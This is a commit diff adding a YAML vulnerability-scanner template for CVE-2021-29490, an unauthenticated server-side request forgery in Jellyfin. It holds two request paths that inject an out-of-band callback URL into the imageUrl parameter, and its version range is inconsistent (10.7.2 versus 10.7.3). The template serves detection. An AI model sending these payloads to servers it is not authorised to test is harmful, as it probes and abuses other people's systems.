Create CVE-2021-29490

CVE-2021-29490

@@ -0,0 +1,23 @@
+id: CVE-2021-29490
+
+info:
+  name: Jellyfin <10.7.2 SSRF
+  author: alph4byt3
+  severity: medium
+  description: Jellyfin is a free software media system that provides media from a dedicated server to end-user devices via multiple apps. Verions prior to 10.7.3 vulnerable to unauthenticated Server-Side Request Forgery (SSRF) attacks via the imageUrl parameter.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-29490
+    - https://github.com/jellyfin/jellyfin/security/advisories/GHSA-rgjw-4fwc-9v96
+  tags: cve,cve2021,ssrf
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/Images/Remote?imageUrl=http://{{interactsh-url}}"
+      - "{{BaseURL}}/Items/RemoteSearch/Image?ImageUrl=http://{{interactsh-url}}&ProviderName=TheMovieDB"
+
+    matchers:
+      - type: word
+        part: interactsh_protocol # Confirms the HTTP Interaction
+        words:
+          - "http"